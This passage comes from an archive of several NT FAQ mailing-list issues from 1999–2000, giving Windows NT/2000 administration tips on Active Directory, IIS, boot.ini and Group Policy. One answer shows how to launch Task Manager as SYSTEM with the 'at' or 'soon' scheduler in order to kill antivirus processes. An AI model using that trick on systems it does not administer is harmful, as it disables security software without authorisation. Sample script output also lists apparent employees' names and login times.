cost relates the speed and/or reliability of the network) and a schedule of when replication can occur. Site links are created and maintained using the Sites and Services MMC snap-in and by default you will have one site link, DEFAULTIPSITELINK to which your original site will be part of and further sites can be added during their creation (sites have to be part of a site link when created). Replication data sent inter-site is compressed to between 10-15% of its original size! This is important as inter-site links are usually over slower WAN links. Basically you only need to create links between sites as required and the KCC will take care of creating the required connection objects. Ignorance is bliss :-) -------------------------------------------------------------------------------- Q. How do I create a new site link? A. After creating sites of IP subnets they need to be linked. By default an IP site link exists called DEFAULTIPSITELINK which new sites can be added to during the creation (or select any other existing site link). To create a a new site link perform the following: Start the Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services) Expand the Sites container Expand the 'Inter-Site Transports' leaf Right click on the IP or SMTP protocol leaf (depending on the type of site link you wish to create) and select 'New Site Link' Select the sites that should be part of the link. Enter a name for the link and click OK Double clicking on an existing site link will allow other sites to be add/removed. It will also enable a cost to be allocated to the site link and a schedule to be configured. -------------------------------------------------------------------------------- Q. How do I disable site link transitivity? A. By default all site links are bridged together making them all transitive in nature so the KCC (Knowledge Consistency Checker) can create connection objects between any domain controllers. Its possible to disable this site link transitivity and then manually bridge selected site links giving you more control. Start the Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services) Expand the 'Sites' branch Expand the 'Inter-Site Transports' branch Right click on the protocol you wish to disable transitivity for (IP or SMTP) and select Properties Unselect the 'Bridge all site links' and click Apply Click OK You now need to manually create site link bridges to enable connection objects to be created by the KCC. -------------------------------------------------------------------------------- Q. How can I fool a program into thinking my Windows 2000 installation is actually Windows NT/95/98? A. Windows 2000 provides a utility called APCOMPAT.EXE which can fool a program into thinking it is running on Windows NT (service pack 3,4 or 5), Windows 95 or Windows 98. The syntax of the command is as follows: apcompat [-?] [-v version name] [-x program path] [-d] [-t] [-g] [-k] Parameters: -? Displays the syntax for the command line parameters. -v Specifies the name of the operating system you want to return to the specified program. 1 Returns the version WindowsNT4 SP3 2 Returns the version WindowsNT4 SP4 3 Returns the version WindowsNT4 SP5 4 Returns the version Windows98 5 Returns the version Windows95 -x Specifies the path and name of the executable (.exe) file for the program you want to run. -d Disables the Heap Manager for the portion of memory reserved for the specified program -t Uses \Temp for the Temp folder when running the specified program -g Corrects disk space detection. -k Stores the specified Application Compatibility settings The tool is part of the resource kit and is documented in the w2rksupp.chm HTML Help file. You can run APCOMPAT.EXE with no qualifiers which will launch a GUI version allowing you to make choices on screen. -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John


All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Betas of both WinInfo 2.0 and CmdInfo 2.0 are now available which allow remote checking of machines for items such as build, type of installation, expiry time etc. http://www.savilltech.com The discussion area has been updated to version 5.39 of the Ultimate Bulletin Board software over the weekend. Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. I'm unable to use the Encrypted File System under Windows 2000 as I'm a member of a 4.0 domain. Q. How do I enable client computers to logon to a Terminal Server? Q. I get print banners and confirmations through CSNW even though they are deselected, what can I do? Q. I've installed a Promise Ultra IDE card but NT/2000 will no longer work. Q. How can I generate a list of last user logon times for a domain? Q. How can I set the default printer from the command prompt? Q. Where are Windows 2000 network connections stored in the registry? Q. What are the Event Viewer login codes? Q. How do I install the loopback adapter in Windows 2000? Q. My outlook .pst file is corrupt what can I do? ----------------------------------------------------------------------------- Q. I'm unable to use the Encrypted File System under Windows 2000 as I'm a member of a 4.0 domain. A. Because a machine in a domain uses the domain policy for recovery if the domain does not support EFS (such as a 3.51 or 4.0 domain) EFS is disabled. To get around this perform the following: Remove the Windows 2000 computer from the Windows NT 4.0 domain. From the command prompt, type: secedit /refreshpolicy machine_policy /enforce Rejoin the Windows 2000 computer to the Windows NT 4.0 domain. -------------------------------------------------------------------------------- Q. How do I enable client computers to logon to a Terminal Server? A. To log on successfully to Windows 2000 Terminal Server, follow these steps: Logon to the Terminal Server as an Administrator Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management) To expand the branches, click the plus symbol (+) next to System Tools, click the plus symbol (+) next to Local Users and Groups, and then click the plus symbol (+) next to Users. Double-click the user that you want to be able to log on as a Windows NT Terminal Server client. On the Profile tab, click to select the Allow to log on to Terminal Server check box, and then click OK. Close Computer Management. Start the Terminal Services Configuration MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Configuration) Open the Connections folder, and then click Rdp-Tcp. On the Actions menu, click Properties. On the Permissions tab, add the users or groups that you want to have permissions to this Windows NT Terminal Server -------------------------------------------------------------------------------- Q. I get print banners and confirmations through CSNW even though they are deselected, what can I do? A. After I installing SP5 on my NT4.0 you may start to get "print banner" and "notify when printed" even though you have deselected them in CSNW tool. The solution to this is simply to replace nwprovau.dll in the system32 folder with the one from SP4. 1. The file may be in use by Windows. But just end Explorer.exe. Start Task Manager and start Cmd.exe. Rename the file. Click New Task run Explorer.exe to show the desktop again. 2.If you created an uninstall folder for SP5 and your uninstall folder contains Service Pack 4, locate the Nwprovau.dll file in the WinNT\$ntservicePackUninstall$ folder, and then copy the file to the WinNT\System32 folder. 3.If you did not create an uninstall folder for SP5, locate the Service Pack 4 CD-ROM and copy the Nwprovau.dll file from the I386 folder on the CD-ROM to the WinNT\System32 folder. -------------------------------------------------------------------------------- Q. I've installed a Promise Ultra IDE card but NT/2000 will no longer work. A. Although the Promise card is an IDE card Windows NT/Windows 2000 treats it as a SCSI card and so the boot.ini file ARC path needs to be changed from the multi().../signature() format to scsi(). Note: The new signature() format is used in Windows 2000 for IDE devices, and example line is: signature(a1bb)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00" For example if I had boot.ini file: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINNT [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00" multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo /sos and then installed the Promise card (and install the driver before moving the IDE cable from the motherboard to the card), I would change boot.ini to: [boot loader] timeout=30 default=scsi(0)disk(0)rdisk(0)partition(1)\WINNT [operating systems] scsi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00" scsi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo /sos Make sure you also change the "default=" part. Obviously make sure you have loaded the Promise driver before trying to boot (Windows 2000 as of build 2114 has build in support). -------------------------------------------------------------------------------- Q. How can I generate a list of last user logon times for a domain? A. I've written a small bit of VBScript which using the Windows Scripting engine can be used to generate a list of all user last logons (if the last logon time is not available the user will be omitted). You will need Windows Scripting Host installed, see 'What is the Windows Scripting Host' for more information'. Save the following text into file userlogin.vbs ' List last logon times ' 07-09-1999 John Savill, http://www.ntfaq.com on error resume next set oDomain = GetObject("WinNT://SAVILLTECH") WScript.echo "Domain : " + oDomain.name for each oDomainItem in oDomain if oDomainItem.Class = "User" then WScript.echo "Full Name=" + oDomainItem.FullName + "Last login=" + formatdatetime(oDomainItem.LastLogin) end if next In line 'set oDomain = GetObject("WinNT://SAVILLTECH")' you should change SAVILLTECH to your domain name. To run type the following: C:\> cscript userlogin.vbs Below is a sample output: C:\>cscript d:\temp\disuser.vbs Microsoft (R) Windows Scripting Host Version 5.0 for Windows Copyright (C) Microsoft Corporation 1996-1997. All rights reserved. Domain : SAVILLTECH Full Name=Maria Aala (DIS 120 inactive)Last login=27/05/1999 14:44:24 Full Name=Paul J AaronLast login=16/08/1999 13:01:56 Full Name=Hany A AbbasLast login=23/08/1999 13:25:46 Full Name=Tony S AbbittLast login=27/08/1999 15:07:20 Full Name=Adnan AbdallahLast login=16/07/1999 10:34:58 Full Name=Tony AbelaLast login=21/07/1999 10:43:20 Full Name=Juan Claudio AbelloLast login=25/06/1999 11:15:32 Full Name=Marie J B AbreyLast login=07/09/1999 08:00:34 Full Name=Philippa AbsilLast login=07/09/1999 06:33:18 Full Name=Ace Test account for NetID - Alistair PurvisLast login=28/01/1999 07:5 4:30 Full Name=Chris AckermannLast login=07/09/1999 08:21:20 Full Name=Curtis S AdamsLast login=10/08/1999 12:32:02 Full Name=Helen R Adams DIS user left 27.8.99Last login=02/08/1999 08:52:58 Full Name=Michael Adams Dis 4.6.99 NMFLast login=03/06/1999 08:50:10 Full Name=Philip R AdamsLast login=14/06/1999 12:49:00 The advantage of using VBScript is you can change the code to output exactly what you want but don't mail me asking for help changing it! -------------------------------------------------------------------------------- Q. How can I set the default printer from the command prompt? A. A new utility has been written called DEFPRINT.EXE (http://www.ntfaq.com/ntfaq/download/defprint.zip) which allows the default printer to be set from the command prompt. A couple of examples... D:\>defprint /p Found 2 printers PrinterName: \\EDUC-HQ\Comm Ed (North) ServerName: \\EDUC-HQ PortName: edu-ce-hp5-2 DriverName: HP LaserJet 5 PrintProcessor: winprint ShareName: commed-2 PrinterName: \\EDUC-HQ\Comm Ed (South) ServerName: \\EDUC-HQ PortName: EDU_COMMED_HP5M DriverName: HP LaserJet 5 PrintProcessor: winprint ShareName: commed-1 D:\>defprint /d commed-1 Would set the default printer to commed-1 Equally, D:\>defprint /d edu_commed_hp5m would do the same job D:\>defprint /d lpt1 Would set the default printer to be the local printer (only if it existed) -------------------------------------------------------------------------------- Q. Where are Windows 2000 network connections stored in the registry? A. The Windows 2000 connections consist of entries of not only remote connections such as to your ISP, but also your Local Area Connection and these are contained under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\GUID\Connection registry key which GUID is the Globally Unique IDentifier of the connection. Its just interesting to know as if you have a stray connection which gets corrupted maybe as you remove the network card you can manually remove by editing the registry. -------------------------------------------------------------------------------- Q. What are the Event Viewer login codes? A. In the Event Log you sometimes see Login codes for certain events and their meaning is explained below: LogonTypes: 0 and 1 are not valid. 2 = Interactive 3 = Network 4 = Batch 5 = Service 6 = Proxy -------------------------------------------------------------------------------- Q. How do I install the loopback adapter in Windows 2000? A. The loopback adapter is useful for those machines with no network card but would like to experiment with installing network protocols and other network related items. Obviously since there is no physical network connection you cannot talk to other machines. Start the Add/Remove Hardware control panel applet (Start - Settings - Control Panel - Add/Remove Hardware). Click 'Add/Troubleshoot a device', and then click Next. Click 'Add a new device', and then click Next. Click 'No, I want to select the hardware from a list', and then click Next. Click 'Network adapters', and then click Next. In the Manufacturers box, click 'Microsoft'. In the Network Adapter box, click 'Microsoft Loopback Adapter', and then click Next. Click Finish. You should then configure the device with an IP address etc. If you select DHCP it will use an address 169.254.x.x/16 (subnet mask 255.255.0.0) as no DHCP server can be contacted due to the lack of network connectivity. -------------------------------------------------------------------------------- Q. My outlook .pst file is corrupt what can I do? A. Windows 95, Outlook 98 and Outlook 2000 all ship with the 'Inbox Repair Tool' which can be used to scan and fix a corrupted .pst (post) file. This utility is also installed with the Windows Messaging Service Setup on the Microsoft Windows 98 compact disc. You can find these programs in the folder :\tools\oldwin95\message\us\wms.exe. A shortcut should be located in the Administrative branch of the programs menu but if it is missing or the shortcut does not work SCANPST.EXE should be located in: :\Program Files\Windows Messaging :\Program Files\Common Files\system\Mapi\1033\NT If its not there try a search of the entire boot partition C:\> dir/s scanpst.exe Once located execute and you will be asked for the location of your .pst file and click start. If it finds errors it will fix them. I would advise to backup your .pst file first as sometimes it wipes out most of the content! If you file was corrupt a folder "lost and found" will be created and you should create a new set of folders and drag items from the "lost and found" folder into their new/correct location. To create a new set of folders perform the following: Start Outlook with the profile that contains your Recovered Personal Folders. On the Tools menu, click Services. On the Services tab, click Add to open the "Add Service to Profile" dialog box. In the Available Information Services list, click to select Personal Folders, and then click OK. In the "Create/Open Personal Folders File" dialog box, select a directory and file name for the new Personal Folders file (*.pst), and then click Open. Click OK to close all dialog boxes. -------------------------------------------------------------------------------- Have a good week, John


From: John Savill [john@savilltech.com] Sent: Tuesday, February 15, 2000 10:03 PM To: NTFAQ Mailing List Subject: FW: NT FAQ, 15 February 2000 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html -------------- *** Advertisement *** Access NTFS from Windows 95/98 and MS-DOS! NTFSDOS Pro' lets you boot from an MS-DOS diskette and have full read/write access to your NTFS drives. Your MS-DOS applications run on and access files on your NTFS drives just as they do FAT drives. NTFS for Win98' provides full access to NTFS drives while running Windows 95/98 - a must for dual-boot systems! For more info and free demos visit Winternals Software at http://www.winternals.com/ntfaq --------------- News: My new server is now installed and DNS should be switched by the time you read this so the Discussion Area will be back! Thanks for your patience. New additions last week: Q. How can I enable network lockout for the Administrator account? Q. How can I disable command shell from within IIS? Q. How can I disable parent paths in IIS? Q. How can I remotely reboot, logout, shutdown a machine? Q. Where is the 'ODBC Data Sources' control panel applet in Windows 2000? Q. How do I view/create saved Directory Service, DNS and File Replication Service event logs? Q. Some BackOffice 4.5 components do not install on Windows 2000. Q. I'm unable to upgrade Windows 9x to Windows 2000 in a dual boot environment. --------------------------------------------------------------------------- ---- Q. How can I enable network lockout for the Administrator account? A. Normally the Administrator account cannot be locked out however the Resource Kit utility passprop.exe can be used to enable the Administrator account to be locked out via network access stopping the possibility of a password brute force attack however the Administrator can still log on locally at the server. To enable Administrator lockout perform the following: C:\> passprop /adminlockout --------------------------------------------------------------------------- ----- Q. How can I disable command shell from within IIS? A. Its possible to use #exec commands from within a HTML page to enable calling commands on the web server. By default this is enabled in IIS 4.0 but DISABLED by default in IIS 5.0. The default state change was changed to prevent the running of unauthorized server-side executables. To manually set/confirm the state perform the following: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters If SSIEnableCmdDirective does not exist create it of type REG_DWORD Double click SSIEnableCmdDirective value and set to TRUE to enable for FALSE to disable. Click OK Close the registry editor Stop and start the WWW service (or reboot) for the change to take effect To stop and start from the command line perform the following: C:\> net stop w3svc C:\> net start w3svc --------------------------------------------------------------------------- ----- Q. How can I disable parent paths in IIS? A. Parent paths allow you to use '..' when browsing directories and MapPaths etc enabling files in the parent directory to be used. This can give access to files that people should not have access to and so to disable perform the following: Start the Internet Services Manager (Start - Programs - Administrative Tools - Internet Services Manager) Right click on the web site and select properties Select the 'Home Directory' tab Click the 'Configuration' button under the Application Settings Select the 'App Options' tab Blank the 'Enable parent paths' box and click Apply If there are any child nodes affected they will be listed, select and click OK Click OK to all other dialog boxes You don't need to restart the service for the change to take effect. --------------------------------------------------------------------------- ----- Q. How can I remotely reboot, logout, shutdown a machine? A. The Windows NT and 2000 resource kit supply a utility SHUTDOWN.EXE which can be used to shutdown or reboot the local or a remote machine. It also allows you to configure how hung applications should be handled. For example the command: C:\> shutdown \\morpheus /r /t:15 "bye bye" would reboot (/r) the machine morpheus in 15 seconds (/t:15) with the helpful message of "bye bye". Windows 2000 includes the Computer Management MMC snap-in which is normally used to manage services, local users but it can also be used to shutdown etc as follows: Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management) Right click on the root of the tree (Computer Management) and select Properties from the context menu Select the Advanced tab Click the 'Startup and Recovery' button Click 'Shut Down' button (don't worry it won't shut anything down at this point) From the dialog you can select to shutdown, reboot, logoff or power down (if supported) and you can also choose how hung applications will be handled. Make your selections and click OK An interesting point to be aware of is if you select Log off Current User from a terminal services session it actually logs off the user at the console, NOT your session so use with care :-) You might be thinking what does this have to do with remote computer reboot etc. as this is only local but its possible to attach to other computers with the Computer Management snap-in and once connected you can perform exactly the same steps as above to reboot etc. To connect to a remote machine perform the following: Start the Computer Management Right click on the root and select 'Connect to another computer ...' Select the computer you wish to connect to from the displayed and click OK You would now select Properties, Advanced, startup and recovery etc. as before. --------------------------------------------------------------------------- ----- Q. Where is the 'ODBC Data Sources' control panel applet in Windows 2000? A. Windows 2000 moved many items from the NT 4.0 world however most of the control panel applets were left alone. The ODBC Data Sources is an exception and has been removed as a control panel applet and is now listed in the Administrative Tools program groups folder (Start - Programs - Administrative Tools - Data Sources (ODBC)). It can also be called directly by just running ODBCAD32.EXE (this also works in NT 4.0). The actually functionality of the utility is unchanged. --------------------------------------------------------------------------- ----- Q. How do I view/create saved Directory Service, DNS and File Replication Service event logs? A. The Computer Management MMC can be used to view and archive event logs. To stop your system grinding to a halt you will archive old event logs regularly (or configure the system to loop round which may lead to you losing important event logs as it just overwrites the oldest information as needed). The Directory Service and File Replication Service event logs are only shown in Event Viewer on Windows 2000 domain controllers. The DNS Server event log is only available on DNS servers. To save an event area and clear them out of the current display perform the following: Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management) From the System Tools branch select Event Viewer Right click on the selected log, e.g. DNS and select 'Clear All Events' from the context menu You will be asked if you want to save the logs first, say yes and select a location. Click Save The events will then be cleared from the display Once saved to open one of these logs files perform the following: From Computer Manager right click on the root Event Viewer Select 'Open Log File' from the context menu Move to the location of the saved log files and select one. Select the type of log file, e.g. 'DNS Server' and enter a name for it to be displayed as. Click Open The opened log will be displayed under the Event Viewer branch beneath any other logs When finished looking at the old data right click on the 'Saved DNS Server Log' and select Delete from the context menu. It won't delete the actual file, just the view into it. A Windows 2000 professional machine cannot read any of the DNS/FRS/DS logs. It can read the standard application, system, security logs. --------------------------------------------------------------------------- ----- Q. Some BackOffice 4.5 components do not install on Windows 2000. A. When installing the BackOffice 4.5 software on a Windows 2000 box the Exchange, BackOffice suite components and the Intranet collaboration kit may not be installed. If you receive errors during the installation click Cancel, click OK will just result in the message being continually displayed. Once the install has completed perform the following to install the failed components: After you receive the error messages and the installation is finished, restart the server. Start the BackOffice 4.5 setup program (Start - Programs - Microsoft BackOffice - Microsoft BackOffice 4.5 setup). Choose Add BackOffice Server components, and then proceed with a custom installation. The components that were not installed in the previous installation attempt are automatically selected. Proceed with the installation, and the components are successfully installed. The installation should be successful and all required components will now be installed. --------------------------------------------------------------------------- ----- Q. I'm unable to upgrade Windows 9x to Windows 2000 in a dual boot environment. A. Microsoft does not support the upgrade of Windows 9x to Windows 2000 in a dual boot environment. The problem seems to occur if Windows 2000 is already installed on another partition. You may get the errors: Windows 2000 Setup does not support upgrading from Windows if you have multiple operating systems installed. Setup will now exit. or Other Operating Systems Found You cannot upgrade this Windows installation to Windows 2000, because you have more than one operating system installed on your computer. Upgrading one operating system can cause problems with files shared by the other operating system, and is therefore not permitted. To official solution is to uninstall the other Windows 2000 installation and remove the files ntldr, ntdetect.com and boot.ini from the system partition (c:\). You can try to just delete those files and leave your other installation intact and once the Win9x upgrade is complete modify boot.ini to include a link to the existing Windows 2000 installation. --------------------------------------------------------------------------- ----- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John ======================================================================= The NT Frequently Asked Questions List Created by John Savill NT FAQ List delivery provided by http://www.ed-com.com To unsubscribe from this list send a message to mailto:nt-faq@ed-com.com with the word unsubscribe in the body Problems with subscription? mailto:awoodrick@ed-com.com =======================================================================


From: John Savill [john@savilltech.com]
Sent: 15 July 1999 11:47
To: NTFAQ Mailing List
Subject: NT FAQ, 15 July 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Service Pack 6 beta is about to be released. I'll keep you updated.

Went to Tech Ed '99 last week and it was nice meeting some of you guys and gals. Overall it was very enjoyable time.

I'm currently changing the discussion area software so its not available at present. The discussion area has been the main weakness of the FAQ and the new software is really good.

Standard items:

The NT FAQ book can now be purchased via Amazon.com and is now out! http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

New additions last week:

Q. Who do I create a bootable Windows 2000 installation CD-ROM?
Q. I am unable to stop a process from Task Manager even though I'm an Administrator, what can I do?
Q. How can I tell which process has file X open?
Q. I am unable to run CHKDSK, it cannot lock or open volume for direct access.
Q. How do I delete an orphaned share?
Q. How can I switch my command window to full screen mode?
Q. What is Group Policy?
Q. How can I force GPO updates to take effect?
Q. How can I enable the old NTCONFIG.POL to be used by Windows 2000 clients?
Q. How can I add additional templates to a Group Policy Object?
Q. How can I switch a session between window and full screen?
Q. How can I disable media-sense for TCP/IP?

----------------------------------------------------

Q. Who do I create a bootable Windows 2000 installation CD-ROM?

A. Its possible to create a bootable CD-ROM from the basic I386 structure. This is useful since Microsoft are release many builds of Windows 2000 and creating a bootable CD may be useful. This will also work with the finished version of 2000 (but the CDROM_IS.5B3 name will change).

You will require version 3.7D of CDRWIN from http://www.goldenhawk.com and will need to load the necessary ASPI drivers. The free download version is fully functional but will only write at 1 speed.

Before starting the CD creation create a directory and copy into it the I386 structure of 2000 and the CDROM_IS.5B3 file from the Beta 3 CD-ROM. You can check which CSROM_IS file its expecting by looking at file i386\layout.inf, for example:

[Version]
signature="$Windows NT$"
ClassGUID={00000000-0000-0000-0000-000000000000}

[SourceDisksNames]

_x = %srvcd%,\cdrom_is.5b3,,""
_1 = %srvcd%,\cdrom_is.5b3,,""
_2 = %srvcd%,\cdrom_is.5b3,,""
_3 = %srvcd%,\cdrom_is.5b3,,""
_4 = %srvcd%,\cdrom_is.5b3,,""
etc...

Now you have a directory on disk with the I386 structure and the CDROM_IS.5B3 file. I've created a copy of this file and the boot sector of the CD-ROM in file BOOTCD.ZIP which will allow you to skip steps 1 to 5 below.

Start the CDRWIN program
Insert your old beta 3 CD-ROM
Select the 'Extract Disc/Tracks/Sectors' option (3rd button from left on top row)

Select extract mode 'Select Sectors'. Enter a image file name, e.g. c:\cdsector.bin. Leave the file format as automatic and set the sector selection to start 20, end 20 and datatype 'Mode1 (2048). Click Start

Click OK to the success message and close the extract dialog
Now select 'File Backup and Tools' CDRWIN option

Select the option to 'Build and Record an ISO9660 Image File'. Click Add and select your server directory. Enter an ISO9660 image file, e.g. ntsrv2072.

Select the options as shown in the above image.
Click Advanced Options.
Under Volume Label type 'NTSRV2072' (if it was build 2072)
Select the 'Bootable Disk' tab
Check the 'Make bootable disc', media emulation 'Custom'. The image file should be the file created in step 4. Enter developer name of 'Microsoft Corporation', Load Segment '07C0' and Load Sector Count '4'. Click OK

Click Start to begin making the CD
Once CD completion is complete you will have a file where you specified the ISO9660 Image File of around 400MB which may be deleted (its just the ISO image that was copied to the CD).

You will now be able to boot with the CD (providing the motherboard and bios support CD-ROM booting). I tested the above on build 2072 of Windows 2000.

Thanks to Joseph R. Worrall who come up with most of the above originally for Beta 2 and I've just updated it for build 2072.

--------------------------------------------------------------------------------

Q. I am unable to stop a process from Task Manager even though I'm an Administrator, what can I do?

A. I recently had this exact problem with some Antivirus processes I could not kill, it said I had insufficient access so all I did was start a Task Manager session under the 'System' process by submitting with the AT command, for example

C:\> at <time one minute in the future> /inter taskmgr.exe

When Task Manager starts you should be able to stop anything (but be CAREFUL!).

An alternative to AT would be the SOON resource kit command and the syntax would be

C:\> soon 30 /interactive taskmgr

--------------------------------------------------------------------------------

Q. How can I tell which process has file X open?

A. Files accessed from a user over the network can be viewed with the 'Net File' command

D:\>net file

ID Path User name # Locks
----------------------------------
51 G:\www.ntfaq.com ADMINISTRATOR 0
The command completed successfully.

This does not give information of files open by local processes. Two programs allow you to view which process has file X open, NTHandle (a command line tool) and HandleEx (a GUI version) both from http://www.sysinternals.com.

--------------------------------------------------------------------------------

Q. I am unable to run CHKDSK, it cannot lock or open volume for direct access.

A. When you run Check Disk (CHKDSK) or AutoChk on a partition on which NT is installed you may receive one of the following messages

Cannot lock volume for direct access
Cannot open volume for direct access

This can be caused by a 3rd party application locking the partition such as a virus checker or disk monitor tool. To correct disable any 3rd party services or devices that may be locking the partition.

1, Start the Services control panel applet (Start - Settings - Control Panel - Services)
2, Select the service and click Startup
3, Set the startup type to Manual and click OK
4, Repeat for any other services
5, Start the Devices control panel applet (Start - Settings - Control Panel - Devices)
6, Set the startup type to disabled for any 3rd-party devices who you think might be causing the lock problem but BE CAREFUL. If you are unsure the device you are disabling may stop system startup create a second hardware profile and test (see 'Q. How can I safely disable a device?').
7, Restart the machine, the drive should no longer be locked

--------------------------------------------------------------------------------

Q. How do I delete an orphaned share?

A. An orphaned share is one that the directory it shares has been deleted. If you delete a directory in Explorer that is shared any shares will automatically removed. If you delete by a different method, such as from the command prompt then the share will be left and it may result in messages in the System Event Log of the form:

The server service was unable to recreate the share NTFAQ because the directory D:\ntfaq files no longer exists.

You can manually update the registry to remove these "rogue" shares.

1, Start the registry editor (regedt32.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares
3, There is an entry for each share
4, Select the entry for the share you wish to delete and select Delete from the Edit menu.
5, Click Yes to the confirmation
6, If the share had special security set it will also have an entry under the Security sub-key so move to Security (under Shares), select the share value name and delete
7, If you type net share the share name will still be displayed until the lanmanserver service is restarted. If you manually restart it will also stop the services, net logon, computer browser and Distributed File System.

Another method (if you have access) is to use Server Manager in NT 4.0, connect to the machine and orphaned shares are grayed out, you can then delete them. Windows 2000 Computer Manager does not display orphaned shares in a different colour making this approach impossible in Windows 2K.

--------------------------------------------------------------------------------

Q. How can I switch my command window to full screen mode?

A. Normally your command prompt (cmd.exe) is displayed in a window, however it can be configured to be displayed "full screen"

1, Right click on the title of the command window and select Properties
2, Select the options tab. Click OK
3, You have the option to either make the change just for the current session of for all future sessions. Make you choice and click OK
4, An alternative (and which allows you to switch from full screen to window) is to press Alt-Enter which toggles between window and full screen mode.

--------------------------------------------------------------------------------

Q. What is Group Policy?

A. You will no doubt be familiar with the concept of group policies in NT 4.0 and by utilizing the Group Policy Editor you can configure various restrictions, save it as file NTCONFIG.POL in the netlogon share and the settings will be applied to all users of the domain. Effectively all the policies of Windows NT 4.0 allowed were registry updates.

These policy settings could be configured for users, computers or groups of users.

Windows 2000 takes this to the next level and promises the following ideal

"The ability for the Administrator to state a wish about the state of their Users environment once, and then rely on the system to enforce that wish"

In Windows 2000 the Group Policy model has been completely updated and now utilizes the Active Directory and offers much more than just registry restrictions, for example

Application deployment
Logon/logoff/startup/shutdown scripts
Folder redirection

Group Policy Object's (GPO's) are a policy unit and can be applied to a site, domain or organizational unit (OU), in fact it will often be the case that a user/computer will have multiple GPO's applicable to them and in the event of a clash of a setting the order of precedence is Site, Domain then OU, SDOU, and so any setting defined at a site level can be overwritten by a domain setting, anything defined on a domain can be overwritten by an OU setting. There is a fourth type, the Local computer policy and this has bottom priority and any policies will be overwritten by any of the others which gives us an order of LSDOU.

The three mechanisms to apply Group Policies for sites, domains and OU’s are as follows:

Domain Group Policy Object
Start the “Active Directory Users and Computers” MMC snap-in, right click on the domain and select Properties. Select the “Group Policy” tab

OU Group Policy Object
Start the “Active Directory Users and Computers” MMC snap-in, right click on the OU and select Properties. Select the “Group Policy” tab

Sites Group Policy Object
Start the “Active Directory Sites and Services” MMC snap-in, expand the sites right click on the required site and select Properties. Select the “Group Policy” tab

By default when you select Group Policy for a container there will be no GPO and you have the option of either adding an existing GPO to the container or creating a new one. To create a new GPO just click the New button and enter a name for the GPO. Once created clicking the Edit button can modify the specified policy. A new instance of the Microsoft Management Console will be started with the Group Policy Editor loaded with the selected GPO at the root.

Windows NT 4.0 policies already in place are NOT upgraded to 2000 and you will need to redefine all your policies as GPO's. In a mixed environment of both 4.0 and 2000 clients you will need to keep a NTCONFIG.POL in the NETLOGON share of the domain controllers (even the 2000 DC's as they may authenticate 4.0 client logons in a mixed environment) to ensure 4.0 clients still receive their policy settings. Windows 2000 clients will ignore NTCONFIG.POL unless you make a policy change to instruct them to implement the NTCONFIG.POL contents. If you do then the order of reading is

GPO(s) Computer at startup
Computer NTCONFIG.POL at login
User NTCONFIG.POL at login
GPO(s) User at login
As has been said, GPO information is stored in the Active Directory but the policy itself is stored on the SYSVOL container on each domain controller as sysvol\Policies\<GUID of GPO> (GUID is Globally Unique IDentifier).

To avoid any conflicts with GPO modifications only the PDC role holder can make changes to the GPO.

Another change is that old 4.0 policies are 'tattooed' in the registry, meaning that even after a policy has been removed, its settings stay in the registry until changed by something else. An advantage of the Windows 2000 Group Policies is that this does not occur. The reason for this is that in Windows 2000, registry settings written to the following two secure registry locations are cleaned up when a Group Policy Object no longer applies:

\Software\Policies
\Software\Microsoft\Windows\CurrentVersion\Policies

